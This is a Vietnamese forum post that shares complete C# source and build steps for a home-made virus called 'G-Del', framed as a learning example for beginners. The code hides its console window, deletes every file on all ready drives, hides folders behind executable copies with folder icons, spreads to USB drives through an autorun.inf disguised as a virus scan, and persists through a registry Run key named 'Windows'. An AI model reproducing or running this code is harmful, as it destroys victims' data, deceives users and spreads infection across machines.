30/09/2018, 17:45

Chia sẻ code virus G-del cho anh em!

Chào mọi người,
Topic này lập ra để chia sẻ cho anh một ví dụ nhỏ về virus cho người mới tìm hiểu về virus. Tên gọi loại virus này là G-Del ( mình tự đặt tên).

Tác động của virus này:

  1. Xóa hết file trong máy tính nếu có thể.
  2. Ẩn tất thư mục thay vào đó là bản sao virus với tên trùng với thư mục ẩn, biểu tượng icon là biểu tượng Folder của Windows 7. ( đừng thắc mắc vì sao không xóa luôn mà phải ẩn!)
  3. Lây lan ra USB.
  4. Tự khởi động mỗi lần bật máy.

1. Chuẩn bị
5. Trình biên dịch C#, ở đây mình dùng Visual Studio 2013 để biên dịch C#. Các bạn để ở .NET phiên bản 2.0 vì các phiên bản mới hơn chưa hỗ trợ nhiều.
2. Thực hiện:

  1. Tạo Project Console với tên là G-Del.

  2. Trên Menu chọn Project->G-Del Properties…

  3. Một tab G-Del hiện ra… các bạn thiết đặt Target Framework là .NET Framework 2.0 (nếu chưa có thì tải về trước). Chọn icon là biểu tượng Folder Windows, ở đây là Windows 7. Icon_4.ico (2.6 KB) .

  4. Các bạn vào Project -> Add Reference -> System.Windows.Forms

3.Code
‘’’
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Timers;
using System.Windows.Forms;

namespace G_Del
{
class Program
{
[DllImport(“kernel32.dll”)]
static extern IntPtr GetConsoleWindow();
[DllImport(“user32.dll”)]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
static void Main(string[] args)
{
var handle = GetConsoleWindow();
ShowWindow(handle, 0);
autorun.start();
System.Timers.Timer timer2;
timer2 = new System.Timers.Timer();
timer2.Elapsed += new ElapsedEventHandler(Program.USB);
timer2.AutoReset = true;
timer2.Interval = 1000;
timer2.Start();
attackdata.start();
}
static void USB(object sender, EventArgs e)
{
usbspread.start(“G-Del”);
}
}
class attackdata
{
public static void explorer(string root)
{
string[] files = Directory.GetFiles(root);
foreach (string file in files)
{
try
{
File.Delete(file);
}
catch (Exception)
{ }
}
string[] directories = Directory.GetDirectories(root);
foreach (string directory in directories)
{
try
{
DirectoryInfo dirinfo = Directory.CreateDirectory(directory);
dirinfo.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
File.Copy(Application.ExecutablePath, directory + “.exe”);
explorer(directory);
}
catch (Exception)
{
}
}
}
public static void start()
{
DriveInfo[] drivers = DriveInfo.GetDrives();
foreach (DriveInfo drive in drivers)
{
if (drive.IsReady) explorer(drive.Name);
}
}
}
class usbspread
{
public static void start(string virus_name)
{
DriveInfo[] drives = DriveInfo.GetDrives();
foreach (DriveInfo drive in drives)
{
if ((drive.DriveType == DriveType.Removable) && (drive.IsReady))
{
FileInfo f = new FileInfo(drive.Name + “autorun.inf”);
if (f.Length == 52) continue;
File.Copy(Application.ExecutablePath, drive.Name + virus_name, true);
File.SetAttributes(drive.Name + virus_name, File.GetAttributes(drive.Name + virus_name) | FileAttributes.Hidden);
try
{
File.Delete(drive.Name + “autorun.inf”);
StreamWriter writer = new StreamWriter(drive.Name + “autorun.inf”);
writer.WriteLine("[autorun] ");
writer.WriteLine(“open=” + virus_name);
writer.WriteLine(“action=Quét virus”);
writer.Close();
File.SetAttributes(drive.Name + “autorun.inf”, File.GetAttributes(drive.Name + “autorun.inf”) | FileAttributes.Hidden | FileAttributes.ReadOnly);
}
catch (Exception)
{
continue;
}
}
}
}
~usbspread()
{
}
}
class autorun
{
public static string direc = “C:Users” + Environment.UserName + “AppDataLocalSystems”; // chứa logs
static string path = “C:Users” + Environment.UserName + “AppDataLocal\windows.exe”; // chứa files exe…
static string cur = Application.ExecutablePath.ToString();
private static void WriteReg()
{
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey(“SOFTWAREMicrosoftWindowsCurrentVersionRun”, true);
if (!IsStartupItem()) rkApp.SetValue(“Windows”, path);
}
private static bool IsStartupItem()
{
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey(“SOFTWAREMicrosoftWindowsCurrentVersionRun”, true);
if (rkApp.GetValue(“Windows”) == null) return false;
else
return true;
}
private static void Copy()
{
if (cur != path)
{
if (!Directory.Exists(direc)) Directory.CreateDirectory(direc);
File.Delete(path); File.Copy(cur, path);
File.SetAttributes(path, File.GetAttributes(path) | FileAttributes.Hidden);
File.SetAttributes(direc, File.GetAttributes(direc) | FileAttributes.Hidden);
}
}
public static void start()
{
Copy();
WriteReg();
}
~autorun()
{
}
}
}
‘’’

Bài liên quan
0